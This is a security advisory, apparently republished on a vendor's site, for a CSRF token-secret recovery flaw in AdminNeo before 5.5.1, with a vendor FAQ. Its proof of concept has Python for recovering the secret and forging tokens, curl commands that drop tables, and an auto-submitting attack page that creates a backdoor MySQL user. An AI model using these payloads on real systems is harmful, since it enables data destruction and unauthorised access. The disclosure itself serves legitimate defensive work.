Summary
AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Details
Token generation in admin/include/functions.inc.php lines 1181-1184:
function get_token() {
$rand = rand(1, 1e6);
return ($rand ^ $_SESSION["token"]) . ":$rand";
}
Token verification in lines 1189-1192:
function verify_token() {
list($token, $rand) = explode(":", $_POST["token"]);
return ($rand ^ $_SESSION["token"]) == $token;
}
Session token initialized in admin/include/auth.inc.php lines 327 and 385:
$_SESSION["token"] = rand(1, 1e6);
Three distinct weaknesses:
- Instant recovery: The token format
(rand XOR secret):randtransmits both operands. Recovery is trivial:secret = masked_value XOR rand. - Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
- Loose comparison:
verify_token()uses==(loose comparison) instead of===, enabling PHP type juggling.
PoC
Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
<input type='hidden' name='token' value='222277:990527'>
Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530
The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR, zero additional requests needed.
Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370
Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=729376:481370" \
--data-urlencode "query=DROP TABLE csrf_victim_table;" \
-d "limit=0"
Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=111:222" \
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."
Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Impact
- Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE, all accepted by the server.
- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).
Security-sensitive operations rely on values that are predictable or insufficiently random. Typical impact: forged tokens, guessable identifiers, or broken cryptographic protocols.
CVE-2026-96629 has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.5.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-96629? CVE-2026-96629 is a medium-severity use of insufficiently random values vulnerability in adminneo-org/adminneo (composer), affecting versions < 5.5.1. It is fixed in 5.5.1. Security-sensitive operations rely on values that are predictable or insufficiently random.
- How severe is CVE-2026-96629? CVE-2026-96629 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of adminneo-org/adminneo are affected by CVE-2026-96629? adminneo-org/adminneo (composer) versions < 5.5.1 is affected.
- Is there a fix for CVE-2026-96629? Yes. CVE-2026-96629 is fixed in 5.5.1. Upgrade to this version or later.
- Is CVE-2026-96629 exploitable, and should I be worried? Whether CVE-2026-96629 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-96629 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-96629? Upgrade
adminneo-org/adminneoto 5.5.1 or later.